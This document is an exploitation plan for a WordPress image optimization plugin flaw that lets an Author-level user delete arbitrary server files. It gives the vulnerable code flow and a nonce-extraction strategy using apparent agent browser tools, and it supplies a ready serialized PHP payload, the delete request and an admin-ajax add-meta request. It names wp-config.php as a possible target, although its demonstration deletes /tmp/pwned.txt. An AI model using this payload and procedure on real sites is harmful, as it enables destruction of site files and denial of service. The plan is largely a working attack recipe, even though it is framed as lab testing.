Exploitation Research Plan - CVE-2026-5821

1. Vulnerability Summary

The Image Optimization – Compress Images and Convert to WebP or AVIF plugin (versions <= 1.7.4) is vulnerable to authenticated arbitrary file deletion. The vulnerability exists in the Image_Backup::remove() function, which is hooked into WordPress's delete_attachment action.

The plugin stores paths to backup files in the image_optimizer_metadata post meta field (specifically within a backups array). When an attachment is deleted, the plugin retrieves this meta, iterates through the backups array, and calls File_System::delete() on each path. Because the plugin fails to validate that these paths are restricted to the expected uploads directory, an attacker with Author-level permissions can modify the post meta of an attachment they own to include arbitrary absolute file paths. Deleting the attachment then triggers the deletion of those files.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (for both meta update and attachment deletion).
• Vulnerable Hook: delete_attachment.
• Vulnerable Sink: File_System::delete($path).
• Payload Parameter: The metavalue for the image_optimizer_metadata key.
• Preconditions:
  • Attacker must have at least Author level access (to upload and manage their own attachments).
  • The target file must be writable/deletable by the web server user (e.g., www-data).
• Required Knowledge: The absolute path of the target file on the server.

3. Code Flow

1. Entry Point: A user with delete_posts capability (Author+) deletes an attachment.
2. Hook Trigger: WordPress fires the delete_attachment hook.
3. Plugin Execution: The plugin's registered callback Image_Backup::remove($post_id) (inferred) is executed.
4. Data Retrieval: The function calls get_post_meta($post_id, 'image_optimizer_metadata', true).
5. Payload Processing: The code accesses the backups key from the returned meta array/object:

   // Inferred logic based on description
   $meta = get_post_meta($post_id, 'image_optimizer_metadata', true);
   if (isset($meta['backups']) && is_array($meta['backups'])) {
       foreach ($meta['backups'] as $backup_path) {
           File_System::delete($backup_path); // SINK
       }
   }
   

6. Sink Execution: File_System::delete() executes unlink() or a similar filesystem operation on the unvalidated $backup_path.

4. Nonce Acquisition Strategy

Since the attacker is an Author, they have access to the WordPress Admin dashboard. Nonces are required for updating post meta and deleting the post.

1. Meta Update Nonce: Found in the attachment edit page (wp-admin/post.php?post=[ID]&action=edit). The nonce for adding/updating custom fields is typically named _wpnonce in the main edit form or specifically addmeta for the custom fields AJAX.
2. Deletion Nonce: Found in the attachment edit page or the Media Library. The action is delete-post-[ID], and the nonce is usually passed as _wpnonce in the deletion URL: post.php?action=delete&post=[ID]&_wpnonce=[NONCE].

Strategy:

• Use browser_navigate to go to the attachment edit page.
• Use browser_eval to extract the _wpnonce from the form.
• Use browser_eval to extract the _wpnonce from the "Delete Permanently" link.

5. Exploitation Strategy

The goal is to delete a sensitive file (e.g., wp-config.php or a test file).

1. Step 1: Setup
   • Create an Author user.
   • Create a dummy file at /tmp/pwned.txt to safely demonstrate deletion.
2. Step 2: Login and Upload
   • Login as the Author.
   • Upload a legitimate image to get an attachment ID ($ATTACH_ID).
3. Step 3: Inject Payload into Post Meta
   • Navigate to the edit page for $ATTACH_ID.
   • Use the Custom Fields interface to add or update the image_optimizer_metadata key.
   • Payload (Serialized PHP): a:1:{s:7:"backups";a:1:{i:0;s:14:"/tmp/pwned.txt";}}
   • Note: WordPress get_post_meta with $single=true will automatically maybe_unserialize this string into the array the plugin expects.
4. Step 4: Trigger Deletion
   • Submit a request to post.php?action=delete&post=$ATTACH_ID&_wpnonce=$DEL_NONCE.
5. Step 5: Verify
   • Check if /tmp/pwned.txt still exists.

6. Test Data Setup

• Target File: /tmp/pwned.txt (ensure web server has permission to delete).
• User: Username: attacker, Password: password123, Role: author.
• Media: A standard image file (e.g., test.png) uploaded by attacker.

7. Expected Results

• The request to action=delete returns a 302 redirect to the Media Library.
• The attachment is removed from the database (wp_posts table).
• The file /tmp/pwned.txt is successfully deleted from the filesystem.

8. Verification Steps

1. Via WP-CLI:

   # Check if attachment is gone
   wp post exists [ID]
   # Check if file is gone
   ls /tmp/pwned.txt
   

2. Check Database:

   wp db query "SELECT * FROM wp_postmeta WHERE post_id = [ID] AND meta_key = 'image_optimizer_metadata'"
   

9. Alternative Approaches

If the Custom Fields UI is disabled or hidden:

• REST API: Check if the Author can update meta via POST /wp-json/wp/v2/media/[ID]. This requires the image_optimizer_metadata to be registered with show_in_rest => true.
• Direct AJAX: Attempt to use the add-meta action in admin-ajax.php which is the backend for the Custom Fields UI:

  POST /wp-admin/admin-ajax.php
  Content-Type: application/x-www-form-urlencoded
  
  action=add-meta&_ajax_nonce-add-meta=[NONCE]&post_id=[ID]&metakeyinput=image_optimizer_metadata&metavalue=[SERIALIZED_PAYLOAD]